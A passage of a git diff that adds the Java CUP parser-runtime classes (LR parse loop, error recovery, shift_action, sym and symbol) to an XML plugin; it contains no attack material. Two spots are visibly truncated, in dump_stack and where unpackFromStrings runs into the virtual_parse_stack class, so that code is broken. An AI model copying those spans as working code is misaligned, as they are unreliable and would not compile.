parsing + * early in other circumstances if desired. + */ + public void done_parsing() + { + _done_parsing = true; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + /* Global parse state shared by parse(), error recovery, and + * debugging routines */ + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Indication of the index for top of stack (for use by actions). */ + protected int tos; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The current lookahead Symbol. */ + protected Symbol cur_token, prev_token; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The parse stack itself. */ + protected Stack stack = new Stack(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Direct reference to the production table. */ + protected short[][] production_tab; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Direct reference to the action table. */ + protected short[][] action_tab; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Direct reference to the reduce-goto table. */ + protected short[][] reduce_tab; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** This is the scanner object used by the default implementation + * of scan() to get Symbols. To avoid name conflicts with existing + * code, this field is private. [CSA/davidm] */ + private Scanner _scanner; + + /** + * Simple accessor method to set the default scanner. + */ + public void setScanner(Scanner s) { _scanner = s; } + + /** + * Simple accessor method to get the default scanner. + */ + public Scanner getScanner() { return _scanner; } + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Perform a bit of user supplied action code (supplied by generated + * subclass). Actions are indexed by an internal action number assigned + * at parser generation time. + * + * @param act_num the internal index of the action to be performed. + * @param parser the parser object we are acting for. + * @param stack the parse stack of that object. + * @param top the index of the top element of the parse stack. + */ + public abstract Symbol do_action( + int act_num, + lr_parser parser, + Stack stack, + int top) + throws java.lang.Exception; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** User code for initialization inside the parser. Typically this + * initializes the scanner. This is called before the parser requests + * the first Symbol. Here this is just a placeholder for subclasses that + * might need this and we perform no action. This method is normally + * overridden by the generated code using this contents of the "init with" + * clause as its body. + */ + public void user_init() throws java.lang.Exception { } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Initialize the action object. This is called before the parser does + * any parse actions. This is filled in by generated code to create + * an object that encapsulates all action code. + */ + protected abstract void init_actions() throws java.lang.Exception; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Get the next Symbol from the input (supplied by generated subclass). + * Once end of file has been reached, all subsequent calls to scan + * should return an EOF Symbol (which is Symbol number 0). By default + * this method returns getScanner().next_token(); this implementation + * can be overriden by the generated parser using the code declared in + * the "scan with" clause. Do not recycle objects; every call to + * scan() should return a fresh object. + */ + public Symbol scan() throws java.lang.Exception { + Symbol sym = getScanner().next_token(); + return (sym!=null) ? sym : new Symbol(EOF_sym()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Report a fatal error. This method takes a message string and an + * additional object (to be used by specializations implemented in + * subclasses). Here in the base class a very simple implementation + * is provided which reports the error then throws an exception. + * + * @param message an error message. + * @param info an extra object reserved for use by specialized subclasses. + */ + public void report_fatal_error( + String message, + Object info) + throws java.lang.Exception + { + /* stop parsing (not really necessary since we throw an exception, but) */ + done_parsing(); + + /* use the normal error message reporting to put out the message */ + report_error(message, info); + + /* throw an exception */ + throw new Exception("Can't recover from previous error(s)"); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Report a non fatal error (or warning). This method takes a message + * string and an additional object (to be used by specializations + * implemented in subclasses). Here in the base class a very simple + * implementation is provided which simply prints the message to + * System.err. + * + * @param message an error message. + * @param info an extra object reserved for use by specialized subclasses. + */ + public void report_error(String message, Object info) + { + System.err.print(message); + if (info instanceof Symbol) + if (((Symbol)info).left != -1) + System.err.println(" at character " + ((Symbol)info).left + + " of input"); + else System.err.println(""); + else System.err.println(""); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** This method is called when a syntax error has been detected and recovery + * is about to be invoked. Here in the base class we just emit a + * "Syntax error" error message. + * + * @param cur_token the current lookahead Symbol. + */ + public void syntax_error(Symbol cur_token) + { + report_error("Syntax error", cur_token); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** This method is called if it is determined that syntax error recovery + * has been unsuccessful. Here in the base class we report a fatal error. + * + * @param cur_token the current lookahead Symbol. + */ + public void unrecovered_syntax_error(Symbol cur_token) + throws java.lang.Exception + { + report_fatal_error("Couldn't repair and continue parse", cur_token); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Fetch an action from the action table. The table is broken up into + * rows, one per state (rows are indexed directly by state number). + * Within each row, a list of index, value pairs are given (as sequential + * entries in the table), and the list is terminated by a default entry + * (denoted with a Symbol index of -1). To find the proper entry in a row + * we do a linear or binary search (depending on the size of the row). + * + * @param state the state index of the action being accessed. + * @param sym the Symbol index of the action being accessed. + */ + protected final short get_action(int state, int sym) + { + short tag; + int first, last, probe; + short[] row = action_tab[state]; + + /* linear search if we are < 10 entries */ + if (row.length < 20) + for (probe = 0; probe < row.length; probe++) + { + /* is this entry labeled with our Symbol or the default? */ + tag = row[probe++]; + if (tag == sym || tag == -1) + { + /* return the next entry */ + return row[probe]; + } + } + /* otherwise binary search */ + else + { + first = 0; + last = (row.length-1)/2 - 1; /* leave out trailing default entry */ + while (first <= last) + { + probe = (first+last)/2; + if (sym == row[probe*2]) + return row[probe*2+1]; + else if (sym > row[probe*2]) + first = probe+1; + else + last = probe-1; + } + + /* not found, use the default at the end */ + return row[row.length-1]; + } + + /* shouldn't happened, but if we run off the end we return the + default (error == 0) */ + return 0; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Fetch a state from the reduce-goto table. The table is broken up into + * rows, one per state (rows are indexed directly by state number). + * Within each row, a list of index, value pairs are given (as sequential + * entries in the table), and the list is terminated by a default entry + * (denoted with a Symbol index of -1). To find the proper entry in a row + * we do a linear search. + * + * @param state the state index of the entry being accessed. + * @param sym the Symbol index of the entry being accessed. + */ + protected final short get_reduce(int state, int sym) + { + short tag; + short[] row = reduce_tab[state]; + + /* if we have a null row we go with the default */ + if (row == null) + return -1; + + for (int probe = 0; probe < row.length; probe++) + { + /* is this entry labeled with our Symbol or the default? */ + tag = row[probe++]; + if (tag == sym || tag == -1) + { + /* return the next entry */ + return row[probe]; + } + } + /* if we run off the end we return the default (error == -1) */ + return -1; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** This method provides the main parsing routine. It returns only when + * done_parsing() has been called (typically because the parser has + * accepted, or a fatal error has been reported). See the header + * documentation for the class regarding how shift/reduce parsers operate + * and how the various tables are used. + */ + public Symbol parse() throws java.lang.Exception + { + /* the current action code */ + int act; + + /* the Symbol/stack element returned by a reduce */ + Symbol lhs_sym = null; + + /* information about production being reduced with */ + short handle_size, lhs_sym_num; + + /* set up direct reference to tables to drive the parser */ + + production_tab = production_table(); + action_tab = action_table(); + reduce_tab = reduce_table(); + + /* initialize the action encapsulation object */ + init_actions(); + + /* do user initialization */ + user_init(); + + /* get the first token */ + cur_token = scan(); + + /* push dummy Symbol with start state to get us underway */ + stack.removeAllElements(); + stack.push(new Symbol(0, start_state())); + tos = 0; + + /* continue until we are told to stop */ + for (_done_parsing = false; !_done_parsing; ) + { + /* Check current token for freshness. */ + if (cur_token.used_by_parser) + throw new Error("Symbol recycling detected (fix your scanner)."); + + /* current state is always on the top of the stack */ + + /* look up action out of the current state with the current input */ + act = get_action(((Symbol)stack.peek()).parse_state, cur_token.sym); + + /* decode the action -- > 0 encodes shift */ + if (act > 0) + { + /* shift to the encoded state by pushing it on the stack */ + cur_token.parse_state = act-1; + cur_token.used_by_parser = true; + stack.push(cur_token); + tos++; + + /* advance to the next Symbol */ + prev_token = cur_token; + cur_token = scan(); + } + /* if its less than zero, then it encodes a reduce action */ + else if (act < 0) + { + /* perform the action for the reduce */ + lhs_sym = do_action((-act)-1, this, stack, tos); + + /* look up information about the production */ + lhs_sym_num = production_tab[(-act)-1][0]; + handle_size = production_tab[(-act)-1][1]; + + /* pop the handle off the stack */ + for (int i = 0; i < handle_size; i++) + { + stack.pop(); + tos--; + } + + /* look up the state to go to from the one popped back to */ + act = get_reduce(((Symbol)stack.peek()).parse_state, lhs_sym_num); + + /* shift to that state */ + lhs_sym.parse_state = act; + lhs_sym.used_by_parser = true; + stack.push(lhs_sym); + tos++; + } + /* finally if the entry is zero, we have an error */ + else if (act == 0) + { + /* call user syntax error reporting routine */ + syntax_error(cur_token); + /* try to error recover */ + if (!error_recovery(false)) + { + /* if that fails give up with a fatal syntax error */ + unrecovered_syntax_error(cur_token); + + /* just in case that wasn't fatal enough, end parse */ + done_parsing(); + } else { + lhs_sym = (Symbol)stack.peek(); + } + } + } + return lhs_sym; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Write a debugging message to System.err for the debugging version + * of the parser. + * + * @param mess the text of the debugging message. + */ + public void debug_message(String mess) + { + System.err.println(mess); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Dump the parse stack for debugging purposes. */ + public void dump_stack() + { + if (stack == null) + { + debug_message("# Stack dump requested, but stack is null"); + return; + } + + debug_message("============ Parse Stack Dump ============"); + + /* dump the stack */ + for (int i=0; i"); + if ((i%3)==2 || (i==(stack.size()-1))) { + debug_message(sb.toString()); + sb = new StringBuffer(" "); + } + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Perform a parse with debugging output. This does exactly the + * same things as parse(), except that it calls debug_shift() and + * debug_reduce() when shift and reduce moves are taken by the parser + * and produces various other debugging messages. + */ + public Symbol debug_parse() + throws java.lang.Exception + { + /* the current action code */ + int act; + + /* the Symbol/stack element returned by a reduce */ + Symbol lhs_sym = null; + + /* information about production being reduced with */ + short handle_size, lhs_sym_num; + + /* set up direct reference to tables to drive the parser */ + production_tab = production_table(); + action_tab = action_table(); + reduce_tab = reduce_table(); + + debug_message("# Initializing parser"); + + /* initialize the action encapsulation object */ + init_actions(); + + /* do user initialization */ + user_init(); + + /* the current Symbol */ + cur_token = scan(); + + debug_message("# Current Symbol is #" + cur_token.sym); + + /* push dummy Symbol with start state to get us underway */ + stack.removeAllElements(); + stack.push(new Symbol(0, start_state())); + tos = 0; + + /* continue until we are told to stop */ + for (_done_parsing = false; !_done_parsing; ) + { + /* Check current token for freshness. */ + if (cur_token.used_by_parser) + throw new Error("Symbol recycling detected (fix your scanner)."); + + /* current state is always on the top of the stack */ + //debug_stack(); + + /* look up action out of the current state with the current input */ + act = get_action(((Symbol)stack.peek()).parse_state, cur_token.sym); + + /* decode the action -- > 0 encodes shift */ + if (act > 0) + { + /* shift to the encoded state by pushing it on the stack */ + cur_token.parse_state = act-1; + cur_token.used_by_parser = true; + debug_shift(cur_token); + stack.push(cur_token); + tos++; + + /* advance to the next Symbol */ + cur_token = scan(); + debug_message("# Current token is " + cur_token); + } + /* if its less than zero, then it encodes a reduce action */ + else if (act < 0) + { + /* perform the action for the reduce */ + lhs_sym = do_action((-act)-1, this, stack, tos); + + /* look up information about the production */ + lhs_sym_num = production_tab[(-act)-1][0]; + handle_size = production_tab[(-act)-1][1]; + + debug_reduce((-act)-1, lhs_sym_num, handle_size); + + /* pop the handle off the stack */ + for (int i = 0; i < handle_size; i++) + { + stack.pop(); + tos--; + } + + /* look up the state to go to from the one popped back to */ + act = get_reduce(((Symbol)stack.peek()).parse_state, lhs_sym_num); + debug_message("# Reduce rule: top state " + + ((Symbol)stack.peek()).parse_state + + ", lhs sym " + lhs_sym_num + " -> state " + act); + + /* shift to that state */ + lhs_sym.parse_state = act; + lhs_sym.used_by_parser = true; + stack.push(lhs_sym); + tos++; + + debug_message("# Goto state #" + act); + } + /* finally if the entry is zero, we have an error */ + else if (act == 0) + { + /* call user syntax error reporting routine */ + syntax_error(cur_token); + + /* try to error recover */ + if (!error_recovery(true)) + { + /* if that fails give up with a fatal syntax error */ + unrecovered_syntax_error(cur_token); + + /* just in case that wasn't fatal enough, end parse */ + done_parsing(); + } else { + lhs_sym = (Symbol)stack.peek(); + } + } + } + return lhs_sym; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + /* Error recovery code */ + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Attempt to recover from a syntax error. This returns false if recovery + * fails, true if it succeeds. Recovery happens in 4 steps. First we + * pop the parse stack down to a point at which we have a shift out + * of the top-most state on the error Symbol. This represents the + * initial error recovery configuration. If no such configuration is + * found, then we fail. Next a small number of "lookahead" or "parse + * ahead" Symbols are read into a buffer. The size of this buffer is + * determined by error_sync_size() and determines how many Symbols beyond + * the error must be matched to consider the recovery a success. Next, + * we begin to discard Symbols in attempt to get past the point of error + * to a point where we can continue parsing. After each Symbol, we attempt + * to "parse ahead" though the buffered lookahead Symbols. The "parse ahead" + * process simulates that actual parse, but does not modify the real + * parser's configuration, nor execute any actions. If we can parse all + * the stored Symbols without error, then the recovery is considered a + * success. Once a successful recovery point is determined, we do an + * actual parse over the stored input -- modifying the real parse + * configuration and executing all actions. Finally, we return the the + * normal parser to continue with the overall parse. + * + * @param debug should we produce debugging messages as we parse. + */ + protected boolean error_recovery(boolean debug) + throws java.lang.Exception + { + if (debug) debug_message("# Attempting error recovery"); + + /* first pop the stack back into a state that can shift on error and + do that shift (if that fails, we fail) */ + if (!find_recovery_config(debug)) + { + if (debug) debug_message("# Error recovery fails"); + return false; + } + + /* read ahead to create lookahead we can parse multiple times */ + read_lookahead(); + + /* repeatedly try to parse forward until we make it the required dist */ + for (;;) + { + /* try to parse forward, if it makes it, bail out of loop */ + if (debug) debug_message("# Trying to parse ahead"); + if (try_parse_ahead(debug)) + { + break; + } + + /* if we are now at EOF, we have failed */ + if (lookahead[0].sym == EOF_sym()) + { + if (debug) debug_message("# Error recovery fails at EOF"); + return false; + } + + /* otherwise, we consume another Symbol and try again */ + // BUG FIX by Bruce Hutton + // Computer Science Department, University of Auckland, + // Auckland, New Zealand. + // It is the first token that is being consumed, not the one + // we were up to parsing + if (debug) + debug_message("# Consuming Symbol #" + lookahead[ 0 ].sym); + restart_lookahead(); + } + + /* we have consumed to a point where we can parse forward */ + if (debug) debug_message("# Parse-ahead ok, going back to normal parse"); + + /* do the real parse (including actions) across the lookahead */ + parse_lookahead(debug); + + /* we have success */ + return true; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if we can shift under the special error Symbol out of the + * state currently on the top of the (real) parse stack. + */ + protected boolean shift_under_error() + { + /* is there a shift under error Symbol */ + return get_action(((Symbol)stack.peek()).parse_state, error_sym()) > 0; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Put the (real) parse stack into error recovery configuration by + * popping the stack down to a state that can shift on the special + * error Symbol, then doing the shift. If no suitable state exists on + * the stack we return false + * + * @param debug should we produce debugging messages as we parse. + */ + protected boolean find_recovery_config(boolean debug) + { + Symbol error_token; + int act; + + if (debug) debug_message("# Finding recovery state on stack"); + + /* Remember the right-position of the top symbol on the stack */ + int right_pos = ((Symbol)stack.peek()).right; + int left_pos = ((Symbol)stack.peek()).left; + + /* pop down until we can shift under error Symbol */ + while (!shift_under_error()) + { + /* pop the stack */ + if (debug) + debug_message("# Pop stack by one, state was # " + + ((Symbol)stack.peek()).parse_state); + left_pos = ((Symbol)stack.pop()).left; + tos--; + + /* if we have hit bottom, we fail */ + if (stack.empty()) + { + if (debug) debug_message("# No recovery state found on stack"); + return false; + } + } + + /* state on top of the stack can shift under error, find the shift */ + act = get_action(((Symbol)stack.peek()).parse_state, error_sym()); + if (debug) + { + debug_message("# Recover state found (#" + + ((Symbol)stack.peek()).parse_state + ")"); + debug_message("# Shifting on error to state #" + (act-1)); + } + + /* build and shift a special error Symbol */ + error_token = new Symbol(error_sym(), left_pos, right_pos); + error_token.parse_state = act-1; + error_token.used_by_parser = true; + stack.push(error_token); + tos++; + + return true; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Lookahead Symbols used for attempting error recovery "parse aheads". */ + protected Symbol lookahead[]; + + /** Position in lookahead input buffer used for "parse ahead". */ + protected int lookahead_pos; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Read from input to establish our buffer of "parse ahead" lookahead + * Symbols. + */ + protected void read_lookahead() throws java.lang.Exception + { + /* create the lookahead array */ + lookahead = new Symbol[error_sync_size()]; + + /* fill in the array */ + for (int i = 0; i < error_sync_size(); i++) + { + lookahead[i] = cur_token; + cur_token = scan(); + } + + /* start at the beginning */ + lookahead_pos = 0; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Return the current lookahead in our error "parse ahead" buffer. */ + protected Symbol cur_err_token() { return lookahead[lookahead_pos]; } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Advance to next "parse ahead" input Symbol. Return true if we have + * input to advance to, false otherwise. + */ + protected boolean advance_lookahead() + { + /* advance the input location */ + lookahead_pos++; + + /* return true if we didn't go off the end */ + return lookahead_pos < error_sync_size(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Reset the parse ahead input to one Symbol past where we started error + * recovery (this consumes one new Symbol from the real input). + */ + protected void restart_lookahead() throws java.lang.Exception + { + /* move all the existing input over */ + for (int i = 1; i < error_sync_size(); i++) + lookahead[i-1] = lookahead[i]; + + /* read a new Symbol into the last spot */ + // BUG Fix by Bruce Hutton + // Computer Science Department, University of Auckland, + // Auckland, New Zealand. [applied 5-sep-1999 by csa] + // The following two lines were out of order!! + lookahead[error_sync_size()-1] = cur_token; + cur_token = scan(); + + /* reset our internal position marker */ + lookahead_pos = 0; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Do a simulated parse forward (a "parse ahead") from the current + * stack configuration using stored lookahead input and a virtual parse + * stack. Return true if we make it all the way through the stored + * lookahead input without error. This basically simulates the action of + * parse() using only our saved "parse ahead" input, and not executing any + * actions. + * + * @param debug should we produce debugging messages as we parse. + */ + protected boolean try_parse_ahead(boolean debug) + throws java.lang.Exception + { + int act; + short lhs, rhs_size; + + /* create a virtual stack from the real parse stack */ + virtual_parse_stack vstack = new virtual_parse_stack(stack); + + /* parse until we fail or get past the lookahead input */ + for (;;) + { + /* look up the action from the current state (on top of stack) */ + act = get_action(vstack.top(), cur_err_token().sym); + + /* if its an error, we fail */ + if (act == 0) return false; + + /* > 0 encodes a shift */ + if (act > 0) + { + /* push the new state on the stack */ + vstack.push(act-1); + + if (debug) debug_message("# Parse-ahead shifts Symbol #" + + cur_err_token().sym + " into state #" + (act-1)); + + /* advance simulated input, if we run off the end, we are done */ + if (!advance_lookahead()) return true; + } + /* < 0 encodes a reduce */ + else + { + /* if this is a reduce with the start production we are done */ + if ((-act)-1 == start_production()) + { + if (debug) debug_message("# Parse-ahead accepts"); + return true; + } + + /* get the lhs Symbol and the rhs size */ + lhs = production_tab[(-act)-1][0]; + rhs_size = production_tab[(-act)-1][1]; + + /* pop handle off the stack */ + for (int i = 0; i < rhs_size; i++) + vstack.pop(); + + if (debug) + debug_message("# Parse-ahead reduces: handle size = " + + rhs_size + " lhs = #" + lhs + " from state #" + vstack.top()); + + /* look up goto and push it onto the stack */ + vstack.push(get_reduce(vstack.top(), lhs)); + if (debug) + debug_message("# Goto state #" + vstack.top()); + } + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Parse forward using stored lookahead Symbols. In this case we have + * already verified that parsing will make it through the stored lookahead + * Symbols and we are now getting back to the point at which we can hand + * control back to the normal parser. Consequently, this version of the + * parser performs all actions and modifies the real parse configuration. + * This returns once we have consumed all the stored input or we accept. + * + * @param debug should we produce debugging messages as we parse. + */ + protected void parse_lookahead(boolean debug) + throws java.lang.Exception + { + /* the current action code */ + int act; + + /* the Symbol/stack element returned by a reduce */ + Symbol lhs_sym = null; + + /* information about production being reduced with */ + short handle_size, lhs_sym_num; + + /* restart the saved input at the beginning */ + lookahead_pos = 0; + + if (debug) + { + debug_message("# Reparsing saved input with actions"); + debug_message("# Current Symbol is #" + cur_err_token().sym); + debug_message("# Current state is #" + + ((Symbol)stack.peek()).parse_state); + } + + /* continue until we accept or have read all lookahead input */ + while(!_done_parsing) + { + /* current state is always on the top of the stack */ + + /* look up action out of the current state with the current input */ + act = + get_action(((Symbol)stack.peek()).parse_state, cur_err_token().sym); + + /* decode the action -- > 0 encodes shift */ + if (act > 0) + { + /* shift to the encoded state by pushing it on the stack */ + cur_err_token().parse_state = act-1; + cur_err_token().used_by_parser = true; + if (debug) debug_shift(cur_err_token()); + stack.push(cur_err_token()); + tos++; + + /* advance to the next Symbol, if there is none, we are done */ + if (!advance_lookahead()) + { + if (debug) debug_message("# Completed reparse"); + + /* scan next Symbol so we can continue parse */ + // BUGFIX by Chris Harris : + // correct a one-off error by commenting out + // this next line. + /*cur_token = scan();*/ + + /* go back to normal parser */ + return; + } + + if (debug) + debug_message("# Current Symbol is #" + cur_err_token().sym); + } + /* if its less than zero, then it encodes a reduce action */ + else if (act < 0) + { + /* perform the action for the reduce */ + lhs_sym = do_action((-act)-1, this, stack, tos); + + /* look up information about the production */ + lhs_sym_num = production_tab[(-act)-1][0]; + handle_size = production_tab[(-act)-1][1]; + + if (debug) debug_reduce((-act)-1, lhs_sym_num, handle_size); + + /* pop the handle off the stack */ + for (int i = 0; i < handle_size; i++) + { + stack.pop(); + tos--; + } + + /* look up the state to go to from the one popped back to */ + act = get_reduce(((Symbol)stack.peek()).parse_state, lhs_sym_num); + + /* shift to that state */ + lhs_sym.parse_state = act; + lhs_sym.used_by_parser = true; + stack.push(lhs_sym); + tos++; + + if (debug) debug_message("# Goto state #" + act); + + } + /* finally if the entry is zero, we have an error + (shouldn't happen here, but...)*/ + else if (act == 0) + { + report_fatal_error("Syntax error", lhs_sym); + return; + } + } + + + } + + /*-----------------------------------------------------------*/ + + /** Utility function: unpacks parse tables from strings */ + protected static short[][] unpackFromStrings(String[] sa) + { + // Concatanate initialization strings. + StringBuffer sb = new StringBuffer(sa[0]); + for (int i=1; i= real_stack.size()) return; + + /* get a copy of the first Symbol we have not transfered */ + stack_sym = (Symbol)real_stack.elementAt(real_stack.size()-1-real_next); + + /* record the transfer */ + real_next++; + + /* put the state number from the Symbol onto the virtual stack */ + vstack.push(new Integer(stack_sym.parse_state)); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Indicate whether the stack is empty. */ + public boolean empty() + { + /* if vstack is empty then we were unable to transfer onto it and + the whole thing is empty. */ + return vstack.empty(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Return value on the top of the stack (without popping it). */ + public int top() throws java.lang.Exception + { + if (vstack.empty()) + throw new Exception( + "Internal parser error: top() called on empty virtual stack"); + + return ((Integer)vstack.peek()).intValue(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Pop the stack. */ + public void pop() throws java.lang.Exception + { + if (vstack.empty()) + throw new Exception( + "Internal parser error: pop from empty virtual stack"); + + /* pop it */ + vstack.pop(); + + /* if we are now empty transfer an element (if there is one) */ + if (vstack.empty()) + get_from_real(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Push a state number onto the stack. */ + public void push(int state_num) + { + vstack.push(new Integer(state_num)); + } + + /*-----------------------------------------------------------*/ + +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/shift_action.java b/base_plugins/net.heartsome.xml/src/java_cup/shift_action.java new file mode 100644 index 0000000..e581d1d --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/shift_action.java @@ -0,0 +1,82 @@ + +package java_cup; + +/** This class represents a shift action within the parse table. + * The action simply stores the state that it shifts to and responds + * to queries about its type. + * + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public class shift_action extends parse_action { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. + * @param shft_to the state that this action shifts to. + */ + public shift_action(lalr_state shft_to) throws internal_error + { + /* sanity check */ + if (shft_to == null) + throw new internal_error( + "Attempt to create a shift_action to a null state"); + + _shift_to = shft_to; + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** The state we shift to. */ + protected lalr_state _shift_to; + + /** The state we shift to. */ + public lalr_state shift_to() {return _shift_to;} + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Quick access to type of action. */ + public int kind() {return SHIFT;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality test. */ + public boolean equals(shift_action other) + { + return other != null && other.shift_to() == shift_to(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality test. */ + public boolean equals(Object other) + { + if (other instanceof shift_action) + return equals((shift_action)other); + else + return false; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Compute a hash code. */ + public int hashCode() + { + /* use the hash code of the state we are shifting to */ + return shift_to().hashCode(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to a string. */ + public String toString() {return "SHIFT(to state " + shift_to().index() + ")";} + + /*-----------------------------------------------------------*/ + +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/sym.java b/base_plugins/net.heartsome.xml/src/java_cup/sym.java new file mode 100644 index 0000000..81a31eb --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/sym.java @@ -0,0 +1,43 @@ + +//---------------------------------------------------- +// The following code was generated by CUP v0.10k +// Sun Jul 25 13:35:26 EDT 1999 +//---------------------------------------------------- + +package java_cup; + +/** CUP generated class containing symbol constants. */ +public class sym { + /* terminals */ + public static final int NON = 8; + public static final int NONTERMINAL = 27; + public static final int STAR = 15; + public static final int SEMI = 13; + public static final int CODE = 4; + public static final int EOF = 0; + public static final int NONASSOC = 23; + public static final int LEFT = 21; + public static final int PACKAGE = 2; + public static final int COLON = 17; + public static final int WITH = 11; + public static final int IMPORT = 3; + public static final int error = 1; + public static final int COLON_COLON_EQUALS = 18; + public static final int COMMA = 14; + public static final int DOT = 16; + public static final int SCAN = 10; + public static final int ID = 28; + public static final int INIT = 9; + public static final int PARSER = 6; + public static final int TERMINAL = 7; + public static final int PRECEDENCE = 20; + public static final int LBRACK = 25; + public static final int RBRACK = 26; + public static final int PERCENT_PREC = 24; + public static final int START = 12; + public static final int RIGHT = 22; + public static final int BAR = 19; + public static final int ACTION = 5; + public static final int CODE_STRING = 29; +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/symbol.java b/base_plugins/net.heartsome.xml/src/java_cup/symbol.java new file mode 100644 index 0000000..5d586cd --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/symbol.java @@ -0,0 +1,107 @@ +package java_cup; + +/** This abstract class serves as the base class for grammar symbols (i.e., + * both terminals and non-terminals). Each symbol has a name string, and + * a string giving the type of object that the symbol will be represented by + * on the runtime parse stack. In addition, each symbol maintains a use count + * in order to detect symbols that are declared but never used, and an index + * number that indicates where it appears in parse tables (index numbers are + * unique within terminals or non terminals, but not across both). + * + * @see java_cup.terminal + * @see java_cup.non_terminal + * @version last updated: 7/3/96 + * @author Frank Flannery + */ +public abstract class symbol { + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Full constructor. + * @param nm the name of the symbol. + * @param tp a string with the type name. + */ + public symbol(String nm, String tp) + { + /* sanity check */ + if (nm == null) nm = ""; + + /* apply default if no type given */ + if (tp == null) tp = "Object"; + + _name = nm; + _stack_type = tp; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor with default type. + * @param nm the name of the symbol. + */ + public symbol(String nm) + { + this(nm, null); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** String for the human readable name of the symbol. */ + protected String _name; + + /** String for the human readable name of the symbol. */ + public String name() {return _name;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** String for the type of object used for the symbol on the parse stack. */ + protected String _stack_type; + + /** String for the type of object used for the symbol on the parse stack. */ + public String stack_type() {return _stack_type;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Count of how many times the symbol appears in productions. */ + protected int _use_count = 0; + + /** Count of how many times the symbol appears in productions. */ + public int use_count() {return _use_count;} + + /** Increment the use count. */ + public void note_use() {_use_count++;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Index of this symbol (terminal or non terminal) in the parse tables. + * Note: indexes are unique among terminals and unique among non terminals, + * however, a terminal may have the same index as a non-terminal, etc. + */ + protected int _index; + + /** Index of this symbol (terminal or non terminal) in the parse tables. + * Note: indexes are unique among terminals and unique among non terminals, + * however, a terminal may have the same index as a non-terminal, etc. + */ + public int index() {return _index;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Indicate if this is a non-terminal. Here in the base class we + * don't know, so this is abstract. + */ + public abstract boolean is_non_term(); + + /*. . . . . . . . . . . . . . . . . . . . . . . 